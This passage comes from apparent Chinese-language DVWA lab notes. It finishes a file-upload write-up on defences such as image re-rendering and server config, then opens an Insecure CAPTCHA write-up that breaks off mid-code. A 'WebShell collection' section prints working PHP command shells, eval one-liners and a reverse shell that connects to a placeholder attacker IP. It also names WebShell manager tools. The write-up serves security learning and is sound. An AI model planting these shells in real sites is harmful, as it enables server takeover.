class="line">            <span class="variable">$img</span> = <span class="title function_ invoke__">imagecreatefrompng</span>( <span class="variable">$uploaded_tmp</span> );</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 改进4：保存重新渲染的图片 ★★★</span></span><br><span class="line">        <span class="comment">// imagejpeg() - 将图像输出到文件</span></span><br><span class="line">        <span class="comment">// 参数1：图像资源</span></span><br><span class="line">        <span class="comment">// 参数2：文件路径</span></span><br><span class="line">        <span class="comment">// 参数3：质量（0-100）</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// 结果：</span></span><br><span class="line">        <span class="comment">// 1. 即使上传的图片包含PHP代码</span></span><br><span class="line">        <span class="comment">// 2. 重新渲染后，PHP代码被清除</span></span><br><span class="line">        <span class="comment">// 3. 只保存纯净的图片数据</span></span><br><span class="line">        <span class="title function_ invoke__">imagejpeg</span>( <span class="variable">$img</span>, <span class="variable">$target_path</span>, <span class="number">100</span> );</span><br><span class="line"></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;<span class="subst">&#123;$target_file&#125;</span> succesfully uploaded!&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;Your image was not uploaded. We can only accept JPEG or PNG images.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 生成新的Anti-CSRF token</span></span><br><span class="line"><span class="title function_ invoke__">generateSessionToken</span>();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="完善的防护机制"><a href="#完善的防护机制" class="headerlink" title="完善的防护机制"></a>完善的防护机制</h3><p><strong>多层防御：</strong></p><ol><li><strong>CSRF Token</strong> - 防止跨站请求伪造</li><li><strong>文件重命名</strong> - 使用MD5+时间戳，无法预测</li><li><strong>扩展名白名单</strong> - 只允许jpg, jpeg, png</li><li><strong>文件大小限制</strong> - 100KB</li><li><strong>getimagesize()验证</strong> - 确保是真实图片</li><li><strong>图片重新渲染</strong> - 使用GD库清除恶意代码</li></ol><p><strong>图片重新渲染原理：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">输入：shell.jpg（包含PHP代码）</span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">imagecreatefromjpeg</span>()：</span><br><span class="line"><span class="number">1</span>. 读取图片的像素数据</span><br><span class="line"><span class="number">2</span>. 忽略其他所有内容（包括PHP代码）</span><br><span class="line"><span class="number">3</span>. 创建新的图像资源（只有像素数据）</span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">imagejpeg</span>()：</span><br><span class="line"><span class="number">1</span>. 将图像资源保存为JPEG文件</span><br><span class="line"><span class="number">2</span>. 只写入图片数据</span><br><span class="line"><span class="number">3</span>. PHP代码被完全清除</span><br><span class="line"></span><br><span class="line">输出：纯净的图片（无恶意代码）</span><br></pre></td></tr></table></figure><h3 id="为什么无法攻破？"><a href="#为什么无法攻破？" class="headerlink" title="为什么无法攻破？"></a>为什么无法攻破？</h3><p><strong>所有攻击都失败：</strong></p><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">尝试<span class="number">1</span>：上传shell<span class="selector-class">.php</span></span><br><span class="line">扩展名检查 → 失败（不是jpg/jpeg/png）</span><br><span class="line"></span><br><span class="line">尝试<span class="number">2</span>：上传shell.jpg（图片马）</span><br><span class="line"><span class="function"><span class="title">getimagesize</span><span class="params">()</span></span> → 通过（是有效图片）</span><br><span class="line"><span class="function"><span class="title">imagecreatefromjpeg</span><span class="params">()</span></span> → 重新渲染，移除PHP代码</span><br><span class="line">最终文件 → 纯净的图片，无法执行PHP</span><br><span class="line"></span><br><span class="line">尝试<span class="number">3</span>：修改Content-Type</span><br><span class="line">无效（服务器检查实际文件内容，不依赖Content-Type）</span><br><span class="line"></span><br><span class="line">尝试<span class="number">4</span>：双扩展名shell<span class="selector-class">.php</span><span class="selector-class">.jpg</span></span><br><span class="line">扩展名检查 → <span class="built_in">pathinfo</span>()只取最后的扩展名(.jpg)</span><br><span class="line">重新渲染 → PHP代码被清除</span><br></pre></td></tr></table></figure><p><strong>关键防御点：</strong></p><ol><li><strong>图片重新渲染是关键</strong> - 即使上传成功，也无法执行PHP</li><li><strong>文件重命名</strong> - 无法预测文件路径</li><li><strong>白名单机制</strong> - 只允许已知安全的扩展名</li><li><strong>多层验证</strong> - 任何一层失败都会拒绝</li></ol><hr><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><h3 id="代码层面"><a href="#代码层面" class="headerlink" title="代码层面"></a>代码层面</h3><h4 id="1-文件类型验证（多层验证）"><a href="#1-文件类型验证（多层验证）" class="headerlink" title="1. 文件类型验证（多层验证）"></a>1. 文件类型验证（多层验证）</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 1. 检查扩展名</span></span><br><span class="line"><span class="variable">$ext</span> = <span class="title function_ invoke__">strtolower</span>(<span class="title function_ invoke__">pathinfo</span>(<span class="variable">$_FILES</span>[<span class="string">&#x27;file&#x27;</span>][<span class="string">&#x27;name&#x27;</span>], PATHINFO_EXTENSION));</span><br><span class="line"><span class="variable">$allowed</span> = [<span class="string">&#x27;jpg&#x27;</span>, <span class="string">&#x27;jpeg&#x27;</span>, <span class="string">&#x27;png&#x27;</span>, <span class="string">&#x27;gif&#x27;</span>];</span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">in_array</span>(<span class="variable">$ext</span>, <span class="variable">$allowed</span>)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Invalid file type&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 2. 检查MIME类型（不可完全信任，作为辅助）</span></span><br><span class="line"><span class="variable">$finfo</span> = <span class="title function_ invoke__">finfo_open</span>(FILEINFO_MIME_TYPE);</span><br><span class="line"><span class="variable">$mime</span> = <span class="title function_ invoke__">finfo_file</span>(<span class="variable">$finfo</span>, <span class="variable">$_FILES</span>[<span class="string">&#x27;file&#x27;</span>][<span class="string">&#x27;tmp_name&#x27;</span>]);</span><br><span class="line"><span class="variable">$allowed_mimes</span> = [<span class="string">&#x27;image/jpeg&#x27;</span>, <span class="string">&#x27;image/png&#x27;</span>, <span class="string">&#x27;image/gif&#x27;</span>];</span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">in_array</span>(<span class="variable">$mime</span>, <span class="variable">$allowed_mimes</span>)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Invalid MIME type&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 3. 检查文件内容（最可靠）</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_ invoke__">getimagesize</span>(<span class="variable">$_FILES</span>[<span class="string">&#x27;file&#x27;</span>][<span class="string">&#x27;tmp_name&#x27;</span>])) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Not a valid image&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="2-文件重命名"><a href="#2-文件重命名" class="headerlink" title="2. 文件重命名"></a>2. 文件重命名</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 使用随机名称</span></span><br><span class="line"><span class="variable">$new_name</span> = <span class="title function_ invoke__">md5</span>(<span class="title function_ invoke__">uniqid</span>(<span class="title function_ invoke__">rand</span>(), <span class="literal">true</span>)) . <span class="string">&#x27;.&#x27;</span> . <span class="variable">$ext</span>;</span><br><span class="line"><span class="variable">$target</span> = <span class="string">&#x27;uploads/&#x27;</span> . <span class="variable">$new_name</span>;</span><br></pre></td></tr></table></figure><h4 id="3-文件大小限制"><a href="#3-文件大小限制" class="headerlink" title="3. 文件大小限制"></a>3. 文件大小限制</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 限制文件大小</span></span><br><span class="line"><span class="variable">$max_size</span> = <span class="number">2</span> * <span class="number">1024</span> * <span class="number">1024</span>; <span class="comment">// 2MB</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$_FILES</span>[<span class="string">&#x27;file&#x27;</span>][<span class="string">&#x27;size&#x27;</span>] &gt; <span class="variable">$max_size</span>) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;File too large&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="4-存储在Web根目录外"><a href="#4-存储在Web根目录外" class="headerlink" title="4. 存储在Web根目录外"></a>4. 存储在Web根目录外</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 存储在不可访问的目录</span></span><br><span class="line"><span class="variable">$upload_dir</span> = <span class="string">&#x27;/var/data/uploads/&#x27;</span>;  <span class="comment">// Web根目录外</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 提供下载脚本</span></span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">// download.php</span></span><br><span class="line"><span class="variable">$file</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;file&#x27;</span>];</span><br><span class="line"><span class="comment">// 验证文件</span></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&#x27;Content-Type: application/octet-stream&#x27;</span>);</span><br><span class="line"><span class="title function_ invoke__">readfile</span>(<span class="variable">$upload_dir</span> . <span class="variable">$file</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h4 id="5-图片重新渲染（推荐）"><a href="#5-图片重新渲染（推荐）" class="headerlink" title="5. 图片重新渲染（推荐）"></a>5. 图片重新渲染（推荐）</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 重新渲染图片（移除恶意代码）</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$ext</span> == <span class="string">&#x27;jpg&#x27;</span> || <span class="variable">$ext</span> == <span class="string">&#x27;jpeg&#x27;</span>) &#123;</span><br><span class="line">    <span class="variable">$img</span> = <span class="title function_ invoke__">imagecreatefromjpeg</span>(<span class="variable">$_FILES</span>[<span class="string">&#x27;file&#x27;</span>][<span class="string">&#x27;tmp_name&#x27;</span>]);</span><br><span class="line">    <span class="title function_ invoke__">imagejpeg</span>(<span class="variable">$img</span>, <span class="variable">$target</span>, <span class="number">90</span>);</span><br><span class="line">&#125; <span class="keyword">elseif</span> (<span class="variable">$ext</span> == <span class="string">&#x27;png&#x27;</span>) &#123;</span><br><span class="line">    <span class="variable">$img</span> = <span class="title function_ invoke__">imagecreatefrompng</span>(<span class="variable">$_FILES</span>[<span class="string">&#x27;file&#x27;</span>][<span class="string">&#x27;tmp_name&#x27;</span>]);</span><br><span class="line">    <span class="title function_ invoke__">imagepng</span>(<span class="variable">$img</span>, <span class="variable">$target</span>, <span class="number">9</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="6-设置正确的权限"><a href="#6-设置正确的权限" class="headerlink" title="6. 设置正确的权限"></a>6. 设置正确的权限</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 上传目录权限</span></span><br><span class="line"><span class="built_in">chmod</span> 755 uploads/</span><br><span class="line"></span><br><span class="line"><span class="comment"># 上传的文件权限（不可执行）</span></span><br><span class="line"><span class="built_in">chmod</span> 644 uploaded_file.jpg</span><br><span class="line"></span><br><span class="line"><span class="comment"># 禁止执行PHP</span></span><br><span class="line"><span class="comment"># .htaccess</span></span><br><span class="line">php_flag engine off</span><br></pre></td></tr></table></figure><h3 id="系统层面"><a href="#系统层面" class="headerlink" title="系统层面"></a>系统层面</h3><h4 id="1-禁止上传目录执行PHP"><a href="#1-禁止上传目录执行PHP" class="headerlink" title="1. 禁止上传目录执行PHP"></a>1. 禁止上传目录执行PHP</h4><p><strong>.htaccess：</strong></p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 禁止执行PHP</span></span><br><span class="line"><span class="attribute">php_flag</span> engine <span class="literal">off</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 或</span></span><br><span class="line"><span class="section">&lt;FilesMatch <span class="string">&quot;\.php$&quot;</span>&gt;</span></span><br><span class="line">    <span class="attribute">Order</span> <span class="literal">Deny</span>,<span class="literal">Allow</span></span><br><span class="line">    <span class="attribute">Deny</span> from <span class="literal">all</span></span><br><span class="line"><span class="section">&lt;/FilesMatch&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 或移除PHP处理器</span></span><br><span class="line"><span class="attribute">RemoveHandler</span> .php</span><br><span class="line"><span class="attribute">RemoveType</span> .php</span><br></pre></td></tr></table></figure><p><strong>Nginx配置：</strong></p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">location</span> /uploads/ &#123;</span><br><span class="line">    <span class="comment"># 禁止执行PHP</span></span><br><span class="line">    <span class="section">location</span> <span class="regexp">~ \.php$</span> &#123;</span><br><span class="line">        <span class="attribute">deny</span> all;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="2-使用专门的上传目录"><a href="#2-使用专门的上传目录" class="headerlink" title="2. 使用专门的上传目录"></a>2. 使用专门的上传目录</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 上传到独立域名或子域名</span></span><br><span class="line"><span class="comment">// uploads.example.com（没有PHP执行权限）</span></span><br></pre></td></tr></table></figure><h4 id="3-扫描病毒"><a href="#3-扫描病毒" class="headerlink" title="3. 扫描病毒"></a>3. 扫描病毒</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 使用ClamAV扫描</span></span><br><span class="line"><span class="title function_ invoke__">exec</span>(<span class="string">&quot;clamscan &quot;</span> . <span class="title function_ invoke__">escapeshellarg</span>(<span class="variable">$file</span>), <span class="variable">$output</span>, <span class="variable">$return</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$return</span> != <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;File contains malware&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="框架层面"><a href="#框架层面" class="headerlink" title="框架层面"></a>框架层面</h3><h4 id="Laravel示例"><a href="#Laravel示例" class="headerlink" title="Laravel示例"></a>Laravel示例</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 使用Laravel的文件验证</span></span><br><span class="line"><span class="variable">$request</span>-&gt;<span class="title function_ invoke__">validate</span>([</span><br><span class="line">    <span class="string">&#x27;avatar&#x27;</span> =&gt; <span class="string">&#x27;required|image|mimes:jpeg,png,jpg,gif|max:2048&#x27;</span>,</span><br><span class="line">]);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 存储文件</span></span><br><span class="line"><span class="variable">$path</span> = <span class="variable">$request</span>-&gt;<span class="title function_ invoke__">file</span>(<span class="string">&#x27;avatar&#x27;</span>)-&gt;<span class="title function_ invoke__">store</span>(<span class="string">&#x27;avatars&#x27;</span>, <span class="string">&#x27;public&#x27;</span>);</span><br></pre></td></tr></table></figure><hr><h2 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a>总结对比</h2><table><thead><tr><th>特性</th><th>Low</th><th>Medium</th><th>High</th><th>Impossible</th></tr></thead><tbody><tr><td>扩展名检查</td><td>❌</td><td>❌</td><td>✅ 白名单</td><td>✅ 白名单</td></tr><tr><td>MIME检查</td><td>❌</td><td>✅（客户端）</td><td>❌</td><td>❌</td></tr><tr><td>文件内容检查</td><td>❌</td><td>❌</td><td>✅ getimagesize</td><td>✅ getimagesize</td></tr><tr><td>文件重命名</td><td>❌</td><td>❌</td><td>❌</td><td>✅ MD5</td></tr><tr><td>图片重渲染</td><td>❌</td><td>❌</td><td>❌</td><td>✅ GD库</td></tr><tr><td>CSRF防护</td><td>❌</td><td>❌</td><td>❌</td><td>✅ Token</td></tr><tr><td>攻击难度</td><td>极易</td><td>简单</td><td>中等</td><td>极难</td></tr><tr><td>可上传Shell</td><td>✅</td><td>✅</td><td>✅（图片马）</td><td>❌</td></tr></tbody></table><hr><h2 id="常用WebShell集合"><a href="#常用WebShell集合" class="headerlink" title="常用WebShell集合"></a>常用WebShell集合</h2><h3 id="最简单"><a href="#最简单" class="headerlink" title="最简单"></a>最简单</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> <span class="title function_ invoke__">system</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>]); <span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="一句话木马"><a href="#一句话木马" class="headerlink" title="一句话木马"></a>一句话木马</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> @<span class="keyword">eval</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;cmd&#x27;</span>]); <span class="meta">?&gt;</span></span><br><span class="line"><span class="meta">&lt;?php</span> @<span class="title function_ invoke__">assert</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;cmd&#x27;</span>]); <span class="meta">?&gt;</span></span><br><span class="line"><span class="meta">&lt;?php</span> <span class="variable">$a</span>=<span class="variable">$_POST</span>[<span class="string">&#x27;cmd&#x27;</span>];<span class="variable">$a</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;arg&#x27;</span>]); <span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="带密码的Shell"><a href="#带密码的Shell" class="headerlink" title="带密码的Shell"></a>带密码的Shell</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">md5</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;pass&#x27;</span>]) == <span class="string">&#x27;5f4dcc3b5aa765d61d8327deb882cf99&#x27;</span>) &#123;</span><br><span class="line">    <span class="title function_ invoke__">system</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;cmd&#x27;</span>]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="反弹Shell"><a href="#反弹Shell" class="headerlink" title="反弹Shell"></a>反弹Shell</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$sock</span> = <span class="title function_ invoke__">fsockopen</span>(<span class="string">&quot;攻击者IP&quot;</span>, <span class="number">4444</span>);</span><br><span class="line"><span class="variable">$proc</span> = <span class="title function_ invoke__">proc_open</span>(<span class="string">&quot;/bin/sh&quot;</span>, [<span class="number">0</span>=&gt;<span class="variable">$sock</span>, <span class="number">1</span>=&gt;<span class="variable">$sock</span>, <span class="number">2</span>=&gt;<span class="variable">$sock</span>], <span class="variable">$pipes</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><hr><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p><strong>学习路径：</strong></p><ol><li><strong>Low难度</strong> - 理解文件上传漏洞基础</li><li><strong>Medium难度</strong> - 学习绕过MIME检查</li><li><strong>High难度</strong> - 掌握图片马技术</li><li><strong>Impossible难度</strong> - 理解完善的防御</li></ol><p><strong>攻击技巧：</strong></p><ul><li>结合文件包含漏洞利用图片马</li><li>尝试上传.htaccess</li><li>测试双扩展名</li><li>使用Burp Suite修改请求</li></ul><p><strong>工具推荐：</strong></p><ul><li>Burp Suite - 修改上传请求</li><li>中国菜刀 - WebShell管理</li><li>蚁剑 - 现代WebShell管理</li><li>Weevely - 隐蔽WebShell</li></ul><p><strong>道德准则：</strong></p><ul><li>只在授权环境测试</li><li>不上传恶意文件到真实网站</li><li>学习是为了防御，保护系统安全</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;&quot;&gt;&lt;a href=&quot;#&quot; class=&quot;headerlink&quot; title=&quot;&quot;&gt;&lt;/a&gt;&lt;/h1&gt;&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; title=&quot;目录&quot;&gt;&lt;/a&gt;目录&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a hr</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>DVWA - Insecure CAPTCHA (不安全的验证码) 攻防练习详解</title>
    <link href="http://caixuya.github.io/2025/11/20/Insecure_CAPTCHA_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/"/>
    <id>http://caixuya.github.io/2025/11/20/Insecure_CAPTCHA_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/</id>
    <published>2025-11-20T15:31:37.109Z</published>
    <updated>2025-11-20T15:27:44.428Z</updated>
    
    <content type="html"><![CDATA[<h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">漏洞简介</a></li><li><a href="#low-%E9%9A%BE%E5%BA%A6">Low 难度</a></li><li><a href="#medium-%E9%9A%BE%E5%BA%A6">Medium 难度</a></li><li><a href="#high-%E9%9A%BE%E5%BA%A6">High 难度</a></li><li><a href="#impossible-%E9%9A%BE%E5%BA%A6">Impossible 难度</a></li><li><a href="#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE">防御建议</a></li></ul><hr><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><h3 id="什么是Insecure-CAPTCHA（不安全的验证码）？"><a href="#什么是Insecure-CAPTCHA（不安全的验证码）？" class="headerlink" title="什么是Insecure CAPTCHA（不安全的验证码）？"></a>什么是Insecure CAPTCHA（不安全的验证码）？</h3><p>CAPTCHA（Completely Automated Public Turing test to tell Computers and Humans Apart）是一种区分人类和机器的验证机制。不安全的CAPTCHA实现允许攻击者绕过验证，自动化执行敏感操作。</p><p><strong>CAPTCHA的目的：</strong></p><ul><li>防止机器人自动化攻击</li><li>防止暴力破解</li><li>防止垃圾邮件</li><li>防止自动注册</li></ul><p><strong>危害：</strong></p><ul><li>绕过人机验证</li><li>自动化暴力破解</li><li>批量注册账户</li><li>垃圾信息发送</li><li>拒绝服务攻击</li></ul><p><strong>DVWA场景：</strong><br>修改密码功能，使用reCAPTCHA验证。</p><hr><h2 id="Low-难度"><a href="#Low-难度" class="headerlink" title="Low 难度"></a>Low 难度</h2><h3 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>CAPTCHA验证完全失效，可直接绕过。</p><h3 id="后端代码分析"><a href="#后端代码分析" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><p><strong>步骤1：显示验证码（index.php）</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查是否点击了&quot;Change&quot;按钮</span></span><br><span class="line"><span class="comment">// isset() - 检查变量是否存在</span></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Change&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 问题：将step参数通过隐藏字段传递到下一步 ★★★</span></span><br><span class="line">    <span class="comment">// 攻击者可以直接跳过验证码检查，访问step=2</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取用户输入</span></span><br><span class="line">    <span class="variable">$pass_new</span>  = <span class="variable">$_POST</span>[ <span class="string">&#x27;password_new&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass_conf</span> = <span class="variable">$_POST</span>[ <span class="string">&#x27;password_conf&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 检查两次密码是否一致</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$pass_new</span> == <span class="variable">$pass_conf</span> ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 危险操作：在客户端设置step=2 ★★★</span></span><br><span class="line">        <span class="comment">// 使用隐藏字段传递step参数</span></span><br><span class="line">        <span class="comment">// 攻击者可以修改这个值</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;</span></span><br><span class="line"><span class="string">        &lt;form action=\&quot;#\&quot; method=\&quot;POST\&quot;&gt;</span></span><br><span class="line"><span class="string">            &lt;input type=\&quot;hidden\&quot; name=\&quot;step\&quot; value=\&quot;2\&quot; /&gt;</span></span><br><span class="line"><span class="string">            &lt;input type=\&quot;hidden\&quot; name=\&quot;password_new\&quot; value=\&quot;<span class="subst">&#123;$pass_new&#125;</span>\&quot; /&gt;</span></span><br><span class="line"><span class="string">            &lt;input type=\&quot;hidden\&quot; name=\&quot;password_conf\&quot; value=\&quot;<span class="subst">&#123;$pass_conf&#125;</span>\&quot; /&gt;</span></span><br><span class="line"><span class="string">        &quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 显示reCAPTCHA 